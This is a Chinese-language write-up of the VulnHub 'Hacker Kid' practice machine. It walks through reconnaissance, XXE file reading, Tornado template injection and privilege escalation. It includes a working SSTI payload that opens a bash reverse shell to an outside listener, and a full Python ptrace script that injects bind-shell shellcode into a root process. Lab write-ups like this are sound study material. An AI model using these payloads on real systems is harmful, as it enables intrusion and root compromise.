信息搜集
开启靶机。
使用nmap扫描,发现存活靶机,192.168.85.145,靶机开放端口为53,80,9999。
进一步搜集下对应段开启的服务。
发现,9999端口开启的是tornado服务。
先打开web网站,看下。
好像再提示挖掘?还是使用dig工具?先放下,继续搜集信息。
#app.html页面源码,发现存在提示,给了一个参数。这个参数应该是页面数,先尝试下。
发现page_no=21时,返回数据不同。
提示我们这个网站还绑定了一个域名,先添加到/etc/hosts文本中。
网站首页不是提示我们dig吗,尝试下,是不是该地址还存在一些未发现的东西?比如其它子域名?
结合一开始信息搜集到的53端口,瞬间思路清晰了。
发现确实还存在一个子域,hackerkid.blackhat.local。先将域名添加到/etc/hosts文件上。
发现存在一个创建账号的页面,先尝试提交下信息。
发现,是xml格式进行的信息交互。盲猜可能存在xxe漏洞。
发现确实存在xxe漏洞。
发现saket用户权限除root外最高,查看下saket用户目录中是否存在.ssh,.bashrc文件。
发现saket用户目录下确实存在.bashrc文件。
发现登录用户和密码。但现在存在的问题是这是什么地方的账号密码?
目前还有两个端口未使用,53端口以及9999端口,但53端口是bind服务,也就是dns解析服务。也就是说只剩下9999端口,并且发现tornado服务,此处9999端口对应的也应该是一个web服务。
打开后发现,此处正好有一个登陆页面,想到刚才搜集到的用户名和密码,尝试下。
admin:Saket!#$%@!!
登陆失败。。。。。难受。。。。
但想到密码应该是正确的,那么就是用户名出现问题了,想到刚才看到的/etc/hosts文件中的用户信息saket,本来账号密码就是在saket用户下发现,那么此处的登录名是否就是saket,那就先尝试下。
成功登录进去,并且发现提示,告诉网站name,那么是否是get型或post型传参。
经过测试,此处使用的name传参是get型,那么下一步怎么做呢?
此时想到这个网站使用的是tornado服务,那么是否存在服务型漏洞?
在先知社区中进行搜索tornado服务,发现该服务存在ssti漏洞。
使用ssti漏洞exp进行测试,出现报错,发现该服务使用的python3。
经过测试,可以使用bash指令反弹会话.
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.85.128/4444 0>&1"')}}
nc成功接收到会话。
提权
使用linpeas.sh跑一下
找到提权脚本。
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
上传到靶机上。
使用ps -aux | grep root
获取到root用户权限执行的进程。
使用python2 shellcode.py root进程号。
netstat -anltp | grep 5600
获取是否成功注入进程。
下一步使用nc直接连接到靶机5600端口即可。
成功建立连接。
ok,游戏结束。
参考链接
python Capabilities cap_sys_ptrace+ep提权:http://t.zoukankan.com/zlgxzswjy-p-15185591.html.
linpeas.sh:https://github.com/carlospolop/PEASS-ng/releases/tag/20220522.
ssti模板注入:https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python.
dig详细使用教程:https://blog.csdn.net/smli_ng/article/details/105921859.
vulnhub之Hacker_Kid-v1.0.1:https://blog.csdn.net/qwweggfe/article/details/119861584.
HACKER KID: 1.0.1下载地址:https://www.vulnhub.com/entry/hacker-kid-101,719/.